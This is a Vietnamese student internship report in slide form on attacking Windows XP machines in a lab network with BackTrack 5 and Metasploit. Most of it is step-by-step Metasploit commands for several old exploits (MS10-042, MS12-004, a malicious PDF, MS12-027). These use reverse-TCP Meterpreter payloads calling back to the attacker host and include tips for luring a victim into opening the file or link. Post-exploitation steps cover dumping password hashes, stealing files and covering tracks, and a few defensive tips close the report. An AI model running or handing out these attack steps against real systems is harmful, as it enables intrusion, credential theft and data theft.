BÁO CÁO THỰC TẬP SYSTEM HACKING

GVHD: T . VÕ ĐỖ THẮNG

SVTT: HUỲNH DƯƠNG KHANG

Giới thiệu

Thực hiện

Tổng kết

Giới thiệu

• Theo thống kê của công ty Bkav, từ đầu năm 2013 đến nay, tại Việt Nam đã có 2.405 website của cáccơ quan, doanh nghiệp bị xâm nhập, trung bìnhmỗi tháng có khoảng 300 website bị tấn công

• Hiện nay, các thiết bị như máy tính PC, laptop, đều có kết nối mạng nội bộ hoặc kết nối Internet . Trên các thiết bị này, hầu hết cài đặt các phầnmềm ứng dụng như IE, Microsoft Office, Adobe Reader ,…. và chạy hệ điều hành như Windows XP, Windows 7…

Giới thiệu system hacking

Hacker có thể thực hiện mọi thứ trên máy tính đó, gây ranhững hậu quả vô cùng nghiêm trọng cho các cá nhân, tổ

chức

Gồm những kỹ thuật lấy username, password dựa vào phầnmềm cài trên hệ thống hoặc các dịch vụ từ xa của hệ điều

hành Windows

Nâng quyền trong hệ thống, sử dụng keyloger để lấy thôngtin, xóa những log file hệ thống

Các lỗ hổng thường khai thác trong hệ điều hànhWindows

Như chúng ta đã biết, Windows là hệ điều hành

phổ biến và được sửdụng rộng rãi nhất trên

thế giới hiện nay

Hack

Các hãng sản xuất luôn cập nhật các lỗ hổng vàđưa ra các phiên bản mới sau khi đã vá lại các lỗhổng của các phiên bản trước. Và luôn theo mộttrình tự

1.Xuất hiện một lỗ hổng có thể bị khai thác bằng các công nghệhiện có.2.Kẻ tấn công phát hiện lỗ hổng.3.Kẻ này lập tức tiến hành viết và phát tán công cụ khai thác lỗhổng này.4.Hãng sản xuất đồng thời phát hiện lỗi và lập tức tìm cách sửachữa5.Lỗ hổng được công bố ra ngoài6.Các phần mềm anti-virus được cập nhật thông tin để phát hiệnkhi có các đoạn mã tìm cách khai thác lỗ hổng này7.Hãng sản xuất hoàn thành bản vá8.Hãng hoàn tất phát hành bản vá lỗi đến tất cả khách hàng

Quá trình tấn công vào một hệ thống

Enumerate (liệt kê): Trích ra tất cả những thông tin cóthể về user trong hệ thống. Sử dụng phương pháp

thăm dò SNMP để có được những thông tin hữu ích, chính xác hơn

Crack: Công đoạn này có lẽ hấp dẫn nhiều Hackernhất. Bước này yêu cầu chúng ta bẽ khóa mật khẩu đăngnhập của user. Hoặc bằng một cách nào khác, mục

tiêu phải đạt tới là quyền truy cập vào hệ thốngEscalste (leo thang): Nói cho dễ hiểu là chuyển đổi

giới hạn truy cập từ user binh thường lên admin hoặcuser có quyền cao hơn đủ cho chúng ta tấn công

Execute (thực thi): Thực thi ứng dụng trên hệ thốngmáy đích. Chuẩn bị trước malware, keylogger,

rootkit…để chạy nó trên máy tính tấn côngHide (ẩn file): Những file thực thi, file soucecode chạychương trình… Cần phải được làm ẩn đi, tránh bị mục

tiêu phát hiện tiêu diệtTracks (dấu vết): Tất nhiên không phải là để lại dấu

vết. Những thông tin có liên quan đến bạn cần phải bịxóa sạch, không để lại bất cứ thứ gì. Nếu không khả

năng bạn bị phát hiện là kẻ đột nhập là rất cao.

Tóm lại, quá trình tấn cônghệ thống (System hacking) là bước tiếp theo sau quátrình khảo sát, thu thậpthông tin của mục tiêu cầntấn công bằng những kỹthuật như Footprinting, Social engineering, Enumeration, Google Hacking… đã được áp dụngcho mục đích truy tìmthông tin.

Giới thiệu

Thực hiện

Tổng kết

VMware workstation

VMware Workstation là một phần mềm ảo hóadesktop mạnh mẽ dành cho các nhà pháttriển/kiểm tra phần mềm và các chuyên gia IT cần chạy nhiều HĐH một lúc trên một máy PC. Người dùng có thể chạy các HĐH Windows, Linux, Netware hay Solaris x86,.. trên các máy ảodi động mà không cần phải khởi động lại hay phân vùng ổ cứng

Hệ điều hành Backtrack 5 R3

- Backtrack là một bản phân phối dạng Live DVD củaLinux, được phát triển để thử nghiệm xâm nhập. Backtrack là sự hợp nhất giữa 3 bản phân phối khácnhau của Linux về thâm nhập thử nghiệm IWHAX, WHOPPIX, và Auditor. Trong phiên bản hiện tại củanó (5), Backtrack được dựa trên phiên bản phân phốiLinux Ubuntu 11.10.

- Backtrack 5 chứa một số công cụ có thể được sửdụng trong quá trình thử nghiệm thâm nhập củachúng ta

Phần mềm Metasploit

• Metasploit là một dự án bảo mật máy tínhcung cấp các thông tin về vấn đề lỗ hổng bảomật cũng như giúp đỡ về kiểm tra thăm nhậpvà phát triển hệ thống phát hiện tấn côngmạng

• Metasploit có thể chạy trên hầu hết các hệđiều hành: Linux, Windows, MacOS.

Sơ đồ tổng quan hệ thống mạng LAN

Trong một mạng LAN nội bộ, các máy tính thường kết nốivới nhau với khoảng cách vật lýgần như trong một phòng, mộttầng, một tòa nhà, công ty, … Các máy tính trong mạng LAN có thể chia sẻ tài nguyên vớinhau, mà điển hình là chia sẻtập tin, máy in, máy quét vàmột số thiết bị khác

Xâm nhập và khai thácWindows XP

• Nhận dạng

Lỗ hổng này có thể cho phép thực thi mã từ xanếu người dùng xem một trang web thiết kế đặcbiệt bằng cách sử dụng một trình duyệt web hoặc nhấp vào một liên kết thiết kế đặc biệttrong một thông báo e-mail

Khai thác lổ hỏng Ms10-042

• Thực hiện

Xâm nhập và khai thácWindows XP

Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

Từ dấu nhắc sử dụng lệnh: msf > search ms10_042

Copy đường dẫn, enter gõ use “dán đường dẫn vào”

Gõ show options để thấy các options của lệnh.msf exploit(ms10_042_helpctr_xss_cmd_exec) > show options

Lần lượt gõ các lệnh sau:msf exploit(ms10_042_helpctr_xss_cmd_exec) > set SRVHOST 192.168.132.137msf exploit(ms10_042_helpctr_xss_cmd_exec) > set PAYLOADwindows/meterpreter/reverse_tcpmsf exploit(ms10_042_helpctr_xss_cmd_exec) > set LHOST 192.168.132.137msf exploit(ms10_042_helpctr_xss_cmd_exec) > exploit

• Sau khi gõ lệnh exploit để khai thác lỗi ta sẽthấy chương trình đưa ra cho ta 1 URL website, lúc này chỉ cần dụ nạn nhân nhập vàoURL này, ta sẽ tấn công được máy nạn nhân. Ở đây URL là

http://192.168.132.137:80/

Backtrack gửi mã độc qua cho máy nạn nhân

• Gõ lệnh sessions để coi Session đang thựchiện, ta thấy có 1 Session đang thực hiện tấncông tới máy 192.168.132.138 trên port 1207

• Gõ lệnh sessions –i 1

• Ta đã tấn công được vào máy nạn nhân, ta thấy máy nạn nhân là Windows XP 32 bit

Xâm nhập và khai thácWindows XP

a) Mô tả:

Các lỗ hổng có thể cho phép thực thi mãtừ xa nếu người dùng mở một tập tin phươngtiện truyền thông thiết kế đặc biệt

Một kẻ tấn công khai thác thành công lỗhổng có thể lấy được quyền sử dụng giống nhưngười dùng địa phương

Khai thác lổ hỏng Ms12-004

• Cách thực hiện tấn công

Khởi động msfconsole tử cửa sổ terminal củaBackTrack> msfconsoleKhai báo lỗ hổng sử dụng và thiết đặt options:> Search ms12_004> use exploit/windows/browser/ms12_004_midi> show options> set srvhost 192.168.192.130> set lhost 192.168.192.130> set payload windows/meterpreter/reverse_tcp> exploit

• Mô tả:

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạnsẽ tạo ra một file mã độc có đuôi .pdf và gửi chonạn nhân, làm thế nào để nạn nhân nhận đượcvà mở file có chứa mã độc đó lên

Xâm nhập và khai thácWindows XP

Khai thác lổ hỏng Ms12-004

• Thực hiện

Mô hình:

Cách khai thác:Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsoleTừ dấu nhắc sử dụng lệnh dưới để search mã lỗi trong msfmsf > search adobe_pdfcopy đường dẫn, ở đây ta sử dụng adobe_pdf_embedded_exe, enter gõ use “dánđường dẫn vào”msf > use exploit/windows/fileformat/adobe_pdf_embedded_exeGõ lệnh show options để thấy những option của lỗimsf exploit(adobe_pdf_embedded_exe) > show options

Ở đây ta thấy bắt buộcphải tạo INFILENAME

Lần lượt gõ các lệnh:

msf exploit(adobe_pdf_embedded_exe) > set filename filemadoc.pdf

Copy sẵn 1 file pdf bất kỳ làm infilename, ở đây mìnhcó sẵn 1 file infilename.pdf ngoài Desktop.

msf exploit(adobe_pdf_embedded_exe) > set infilename /root/Desktop/infilename.pdf

msf exploit(adobe_pdf_embedded_exe) > set LHOST 192.168.119.132

Địa chỉ này là địa chỉ IP của máy Hacker chính là máyBackTrack.

msf exploit(adobe_pdf_embedded_exe)>set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(adobe_pdf_embedded_exe) > exploit

Ta sẽ thấy có một file filemadoc.pdf được tạo ra (đâychỉ là ví dụ các bạn đặt tên theo ý mình thích), ta copy file “filemadoc.pdf” đã được tạo ra ngoài Desktop chodễ sử dụng

msf exploit(adobe_pdf_embedded_exe) > cp/root/.msf4/local/filemadoc.pdf /root/Desktop

Vậy là việc tạo ra file chứa mã độc đã xong, giờ ta gửi file này cho nạnnhân để nạn nhân chạy file này là sẽ bị dính mã độc

• Upload file “filemadoc.pdf” lên Webserver bằng cáchđưa nó vào thư mục “/var/www”

Start Webserver ảo bằng lệnh (mở một cửa số cmdkhác).

root@bt:~# service apache2 start

Giờ ta qua máy nạn nhân truy cập vào Webserver ta đã dựng và tải file “filemadoc.doc” về.

Khi nạn nhân mở file lên thì mã độc sẽ được tiêm vào

• Tạo ra một trình lắng nghe

msf exploit(adobe_pdf_embedded_exe) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) >set LHOST 192.168.119.132

msf exploit(handler) > exploit

Kiểm tra máy hacker ta thấy mã độc đã được tiêm vào máy nạnnhânMã độc đã được tiêm từ máy 192.168.119.132:4444 tới máy192.168.119.129:1210Giờ ta có thể khai thác được máy nạn nhân

• Mô tả

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạnsẽ tạo ra một file mã độc có đuôi .doc và gửi chonạn nhân, làm thế nào để nạn nhân nhận đượcvà mở file có chứa mã độc đó lên

Xâm nhập và khai thác Windows XP

Khai thác lổ hỏng Ms12-004

• Thực hiện:

Mô hình:

Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsoleTừ dấu nhắc sử dụng lệnh dưới để search mã lỗi trong msfmsf > search ms12_027copy đường dẫn, enter gõ use “dán đường dẫn vào”msf > use exploit/windows/fileformat/ms12_027_mscomctl_bofGõ lệnh show options để thấy những option của lỗimsf exploit(ms12_027_mscomctl_bof) > show options

Ở đây ta thấy bắt buộc phải tạo FILENAME

• Lần lượt gõ các lệnh:

msf exploit(ms12_027_mscomctl_bof) > set filename filemadoc.doc

• Ta sẽ thấy có một file filemadoc.doc được tạo ra (đâychỉ là ví dụ các bạn đặt tên theo ý mình thích)

msf exploit(ms12_027_mscomctl_bof) > set payload windows/meterpreter/reverse_tcp

msf exploit(ms12_027_mscomctl_bof) > set LHOST 192.168.119.132

• Địa chỉ này là địa chỉ IP của máy Hacker chính là máyBackTrack.

msf exploit(ms12_027_mscomctl_bof) > exploit

• Gõ lệnh exploit để thực thi

msf exploit(ms12_027_mscomctl_bof) > cp/root/.msf4/local/filemadoc.doc /root/Desktop

ta copy file “filemadoc.doc” đã được tạo ra ngoàiDesktop cho dễ sử dụng.

Vậy là việc tạo ra file chứa mã độc đã xong, giờ ta gửi file này chonạn nhân để nạn nhân chạy file này là sẽ bị dính mã độc

• Xem thông tin hệ thống: > getuid>Sysinfo• Tải lên và đánh cắp tài liệu• Tải file abc.txt tại Desktop của Back Track lên ổ C

của XP> upload /root/Desktop/abc.txt C:/• Đánh cắp file xyz.txt tại ổ C của XP và đem về

Desktop của Back Track> download C:/xyz.txt /root/Desktop

Tấn công hệ thống sau khi tấn công

• Lấy hashpass: >Haskdump• Khám phá ổ đĩa:meterpreter> shell• Chuyển dấu nhắc sang ổ đĩa C:> cd c:\• Liệt kê tài nguyên trong ổ C:> dir• Tạo thư mục abc trong ổ C:> md abc• Xóa thư mục abc trong ổ C:> rd abc• Xóa file abc.txt trong ổ C:> del abc.txt• Trở về meterpreter:> exit

Giới thiệu

Thực hiện

Tổng kết

TỔNG KẾT

• Mật khẩu phải được đặt nhiều hơn 8 ký tự vàphải là tổng hợp giữa chữ hoa, chữ thường, sốvà ký tự đặc biệt để các chương trình khó dòra

• Không mở tập tin đính kèm thư điện tử cónguồn gốc không rõ ràng hoặc không tin cậy

• Chắc chắn rằng bạn có và đã bật hệ thốngtường lửa cho hệ thống của mình.